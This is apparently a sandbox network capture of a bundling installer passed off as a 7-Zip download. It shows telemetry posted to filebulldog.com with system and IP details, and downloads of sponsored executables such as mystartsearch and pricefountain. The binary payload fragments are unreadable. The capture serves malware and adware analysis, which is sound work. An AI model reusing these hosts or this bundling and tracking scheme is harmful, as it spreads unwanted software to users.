.. ?B.j...`?B.......M.... ?B..c.....`?B... ?B..R....E..4. ?B.3...;....
#M..D.....<....4. ?B.V.......p6B..5`r@.;.t.RQ...E....6B.;.......PQ.
[email protected]..<.....W. A....;.tBj\V..@....
[email protected]...|p@[email protected]:.u.9].t.j....<<< skipped >>>

GET /awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:53:15 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z...6..?....c....%'1....*[email protected]...
..ZU...(.qv.........a...uo.?.-?]&..r2......Q....V.7I.q.7...d....`...&g
t;Y........`.|\....c....;..4.E...C......I..e<.'..T...w...{....v&.~.
..."..7...p.u.$.... ...-...(.]|.....2..g...c.Z.&.2.w..b.u......^.9.,.q
..3...|...........[..cg6.$.Et.....,f...x.t...0....T..i<.z.S...e..l.
O......q..ue.{v.Lg.Et.,......e.|.....3.....<..'...........1....,.Y.
....."s..U.a....1k......l.. BG.O..`.H.bo6.$.>..a...-.e.....'..%.4..
............._t...s..{."..~.......X......7B...q........f.,..x..;.....h
g.J...l%s.t!...?-:..7^.1.}..y......u..n.......y<..0v..[:4H.....t.v.
.x...g...Y...f..r.....>[U2......w.%G..s.|.................rT{.G.$t.
_...3P....^...t[..y...g..N..0....e.d......_.C. %..k....F.pT....|b.k..Z
<......0...~..2.vz....;..............*.h.N.18.GP..l:H. V.\.8.5.5...
.8......Y.wo.$..,'..s..]-.....%V.0.........k[.o.>tp..Q.....M..px.i&
lt;]v...v.M....{.b.3...<[H....w.3...r..=$.....=.N...Y>_..n..P...
A..T......A..$....p........C.....?.9....I.......'./.w....W...0.k.u.. .
..[.-.9.X...,..|.1..%..O..U............[...u.:..|].......}.........?|y
............_....r..so(_....... ....{.g.k.. fW.W~...W~...w*.......y<
;.|......|. .3w.........y{......s....w!~.|.........f.H.".=...E.x$.R..B
.........^<.........`<b0......y:......3.z..JV8wL]ze*b..R.~.....}
<..s.A?.D..`5..........'..|z.B.h.g...p.[...o .(.2....."x.q..zQ...Q.
..;A#.G]..p0..Y*....{..q2..G..f..J.....EIC{..w.....,......d...>..5&
gt;..'..........?.y..r..v*?.....u.[..X0v tX..a..vC..h.,.T%sSi.Q..~<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Content-Length: 4120

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=ef016749e4b3b84c8b6f3946b9bc2c0d&uid=ef016749e4b3b84c8b6f3946b9bc2c0d&affid=awfr7zip23772&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=68e2a7ee41a927923f89e0afdb6329d1&tokyo_csrf_timestamp=1420692795&unique_id=false&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAKpiO4REHih3bZNHkqNA
HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:53:17 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
ff1.............\ks.6.. X...B.......8i.f..f...n..@$$....iE......H.....
4.&.b.o\.....y.E2,d.r....z.d.c.F.S&S].8.T.....Z.9.E.;....=|-..,..l....
<.E...hM....Jg.b...R....(.T.-....}.yZ."c..~.e|..}...L..P...k..J4-.~
...".i..0.....xm..f)v].....'...c.....rw...'...^..H..\p.i.c.b.(...bQ6O.
.G,W.8.I..P.....N.=:W3k.v9/.......>.-C.....*T=......q...wb.5.X .z.?
[..4..i..f..#...ee..e.."..M......dn........Us...Q*>...Q.BD.t.V..L.2
.KV.....s..=4..PEI.....|El....].?...I.J.O..A`/[email protected].
..<.d.F[~..S%.&5FR?2.a.q<.p8E....Fg..1M....}|.....{...!.q...S...
..b.Ta...b.... b.../...{[email protected] .3p(.2
#~%-.n5vHC.Mp>....}.aH.HmOr.Rf8i,Pa.$/ ms.N...]V...4....FzV.$Y.....
8.M.R}..5.=.N...M..n....H=.P.>|.X.....z.... 7. .8.....V..c.h.7.y.{.
H....K..j.& ...z..Y....[..I....*F..(....h.>...R.of<......G.3..h_
'E...'^.....h...?>9D.....).rO.....A3D.a.4p...>~...X.4.......u..*
.R.Q S.|.c-..j.hH).i.A.(...~..._...........%\...X...F...... v..\.....7
n..^..v.X.,-...3.R.w....p.. ...u.,Y...I.*....T.,..^.....H.R1g........_
.?...V.......m.J.Tj..[.<..AgnP....a.....3...8. ..h.t..<...}.....
..p&. s.JX..z...U5.Z.?<....c'%.R./-....3..f.....4........??...._..x
u..!}.z?w.}.....'..m.Mb.|.e..).=K#...f..%8..Pn8$pd0...7..aO...D Gy2Ni.
..gH..h.i.$.._...o..Ya"....-W2.i).. .V...z...Q.xEyD}!.yv...O.Y....&...
..=.O.R.......;..~..MktJ....T0....5..K..NgI.O>.f.........O.qm.P6...
..g....sr.1...A........p.E.Z..faXn....<....j.6_Y.M..J..o..m.....<
;gOx..B.US.....)[email protected]..][email protected]..<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

If-Modified-Since: Wed, 07 Jan 2015 11:57:28 GMT

If-None-Match: "54ad1f28-6721"

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Thu, 08 Jan 2015 04:57:22 GMT

Server: nginx

ETag: "54ad1f28-6721"

Expires: Wed, 07 Jan 2015 14:20:53 GMT

Cache-Control: max-age=600

Age: 390

X-Cache: Hit from cloudfront

Via: 1.1 8a256bddd45845f932a0a374e95fa057.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vHfl5kNqvY6Vebc-e50Q-qkQtGN2fQ-4IhNR8EyhJdsZa-wl-D_ZEA==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 08 Jan 2
015 04:57:22 GMT..Server: nginx..ETag: "54ad1f28-6721"..Expires: Wed, 
07 Jan 2015 14:20:53 GMT..Cache-Control: max-age=600..Age: 390..X-Cach
e: Hit from cloudfront..Via: 1.1 8a256bddd45845f932a0a374e95fa057.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: vHfl5kNqvY6Vebc-e50Q-qkQtGN2fQ-4
IhNR8EyhJdsZa-wl-D_ZEA==......

GET /sponsored/priceless/eula-priceless.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

If-Modified-Since: Tue, 02 Dec 2014 08:02:33 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Thu, 08 Jan 2015 04:57:23 GMT

Server: nginx

Expires: Sun, 04 Jan 2015 06:55:05 GMT

Cache-Control: max-age=600

Age: 129

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 8a256bddd45845f932a0a374e95fa057.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fhlrBuBKjLxUxBYpQJSrbkp-CTWF3jtusgN60zwsvHRMiTmrl9yEFQ==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 08 Jan 2
015 04:57:23 GMT..Server: nginx..Expires: Sun, 04 Jan 2015 06:55:05 GM
T..Cache-Control: max-age=600..Age: 129..Vary: Accept-Encoding..X-Cach
e: Hit from cloudfront..Via: 1.1 8a256bddd45845f932a0a374e95fa057.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: fhlrBuBKjLxUxBYpQJSrbkp-CTWF3jtu
sgN60zwsvHRMiTmrl9yEFQ==..

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:15 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:15 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 9f052ba87bc5fa1f880f0c6f7ab1cac5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IzyxL3GwCqZP8H1afw9SYfs96G4kJ0d734xY6HDWDcRuRMX6eInTLA==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:00 GMT

Content-Range: bytes 0-249999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 2c9a8baf70886f8c73eeac316fa1511b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: aDBafiyrHeJ4eIxzVKOPxBE0NWYbFrhoqL2qGU3WlnZFWrUMQLyO5g==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@[email protected]....^...p...4...V........
[email protected]...............................@[email protected]..|...........
[email protected]..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.u.h..M.h..M..%...hp.I
...G..Y..].j..4.H.......e....D.M...I..E.......D.M...I..M..hz.I...G..Y.
*....j....H..O....M..h..I...G..Y......j....H.......M..h..I..oG..Y.....
....M..9...h..I..TG..Y..D.M......h..I..>G..Y.j....H.......e....L.M.
..I..M..h..I...G..Y......j....H.......e....H.M...I..E.......H.M...I..M
..h..I...F..Y.M....j...R..Y...M.....M..hhvJ....M......h6.I...F..Y.hhvJ
....M......hZ.I...F..Y.j....I..(....M..h~.I..iF..Y......hhvJ....M.....
.h..I..IF..Y.hhvJ....M......h..I...F..Y.hhvJ.. .M..x...h..I...F..Y

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive

..P.M.Q............E...U..........E..E..M........<.....T...Q.M.....
.P..<....h....E...U...uo.E.P.M........4....M..#...............Q.M..
N..........U.R.M........,.....4...P......Q..,.........E...U..........M
........l.....l...P..........$.....$.....R.........................tJ.
U.R...............M..m.....|....E.P......Q..|...Rj..E.P.M..7....E.....
..H.M.Q...............M..#..........U.R......P......Qj..U.R.M.......E.
........E...M.....\...P.M..[...P.M.......E...M..........M.............
.....R.M........d....E.P.M.............M.Q.M.......E...d...R......P.M.
.y....E...M...t<.U.R.........E..M..G....E..E.P.M.Q.U.Rj..E.P.M.....
..E.............X...Q.M..>...P.M..%....E...U..........E.P.M..:....E
..M.......E..M...R.M.......E..E.P.M.......E..M.Q.U.R.M.......E...E...t
>.M.Q.........E..M.......E..U.R.E.P.M...Rj..E.P.M..[....E..".......
..M..V.....x.....x...Q.M........p....U.R.M........h....E.P.M..=.....`.
....p...Q..h...R..`.........E...E.....d....M..M..U.R.M..-.....H....M..
......X.....X..........P.....P...P.M........@....M.Q.M........8.....H.
[email protected]........(..
...(.....Q.h........ ..... ........tJ.M.Q.y.............M.............
U.R......P......Qj..U.R.M.......E.......H.E.P./.............M.........
....M.Q......R......Pj..M.Q.M.......E..O.........U.R.M.............M..
q...............P.M.............M.Q.M..j...............R......P.......
;....E...M..........U..U..M..............P...P.M..)...P............E..
.M...uo.M..................R.M.............E.P.M.............M.Q.M

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:01 GMT

Content-Range: bytes 750000-999999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 2c9a8baf70886f8c73eeac316fa1511b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: f-Cz3gqYxeGxxsV8UjNwBfHOaKf9_mPAw-Zpn1ZJ23EoACuA9UD97w==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Thu, 08 Jan 2015 04:53:01 GMT..Content-Range: bytes 7500
00-999999/1206160..X-Cache: Miss from cloudfront..Via: 1.1 2c9a8baf708
86f8c73eeac316fa1511b.cloudfront.net (CloudFront)..X-Amz-Cf-Id: f-Cz3g
qYxeGxxsV8UjNwBfHOaKf9_mPAw-Zpn1ZJ23EoACuA9UD97w==..o.r.:. .%.d.,. .R.
e.g.O.p.e.n.K.e.y.E.x.........[.S.b.T.r.a.c.e.r.:.:.R.e.g.i.s.t.e.r.O.
n.C.o.n.f.i.g.u.r.a.t.i.o.n.C.h.a.n.g.e.]. ._._._.E.r.r.o.r.:. .%.d.,.
 .R.e.g.N.o.t.i.f.y.C.h.a.n.g.e.K.e.y.V.a.l.u.e...[.S.b.T.r.a.c.e.r.:.
:.U.p.d.a.t.e.A.l.l.P.a.r.a.m.e.t.e.r.s.]...[.S.b.T.r.a.c.e.r.:.:.U.p.
d.a.t.e.A.l.l.P.a.r.a.m.e.t.e.r.s.]. .D.o.n.e.........<.<.<.&
lt;.<.<.<.<.<.<.<.<.<.<.<.>.>.&
gt;.>.>.>.>.>.>.>.>.>.>.>.>. .M.O.
D.U.L.E. .D.E.T.A.I.L.S. .<.<.<.<.<.<.<.<.<
.<.<.<.<.<.<.>.>.>.>.>.>.>.>
.>.>.>.>.>.>.>.........:. . . . . . . . . .....M.
o.d.u.l.e.N.a.m.e.....P.r.o.d.u.c.t.N.a.m.e...:. . . . . . . . ...C.o.
m.p.a.n.y.N.a.m.e...P.r.o.d.u.c.t.V.e.r.s.i.o.n.....:. . . . . .....O.
r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.....:. . . .....F.i.l.e.V.e.r.s.i.o.n...
F.i.l.e.D.e.s.c.r.i.p.t.i.o.n...:. . . . ...........<.<.<<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=2&index_in_screen=1&index_in_session=2&0.43980376002090854 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.5.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:56:03 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:56:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=203904-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1427328

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 203904-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 e0506fdf36645ad2ac8b60d7fdad2e1d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DcxBVfVz4X_xoFqgkgC1xXGUD_rG24l0StR6wE0jVzJWX8TEAsuHaA==
$,R....D$0..H..D$4.....D$<[email protected]$DpSH.f.D$H.D$L.....D$P.....D$
T....h.EH..D$$j.P..$................~..t>.N h..H..G....~..t .F ..@t
..H...3...$.......$.....C.$.....f ...D$ .RH..L$ ..$............$......
D$L..t..t$PP.c!...t$L..'.......$.......$.....C.$....hD.H.P.D$$P..3....
..|$..u.h..H....Z.....$.....r...$.....1'.......$.......$..........$...
.......$.....r...$......&.........$....d......Y_^[..$....3...&....]...
..U.....3.W.U..\.H.f9.\.H.......SV...f..t.f.. w...G....f..u.f.?...t...
... v...|t... t....f.>.u.f.>.t.3.f......t^H..E..8...t........3W.
...G...t.....;.u..U.f.>...u.^[.._..]. ].......w...x^H..U.....U.....
.........U....,[email protected]...
....(.G.....#]..]......j.j....E.Pj.j.j.j.W..$.G.j.j.Vh.>H..]..Td...
U..QQ.X.I.3..E..E.V...&..f......t.....u.j..M..B....M.............M...3
.^.........j....G...........u.3..}.W.~..F......C...3.@.}..E....w-..9F.
r.P.(..... [email protected]....... F.W
P......~..r.........$?...A..~..r...........................w`j.X..9F.r
.P....... F.WP.q....~..r.........$?...A..~..r............$?...A..~..r.
................~......wxj.X..9F.r.P.5..... F.WP......~..r.........$?.
..A..~..r............$?...A..~..r............$?...A..~..r.............
.............j4.3.G..E......M..U..}.3.8^[email protected]..
}..VD.Fn.^L.^P......N......9^.t..F...t.Hu..^....F..E.P...'............
.E.P........~n.t..~d.t.j..FTP...3#...~m.tU....#....uJ..#....uA.E..E..E
.h..H..M..E......E..x....e..j..E.P.E.P........M.. ...2............<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277620-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 832856

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....<<< skipped >>>

GET /?type=1&domainId=3026708&dedup=1&actionid=238238 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

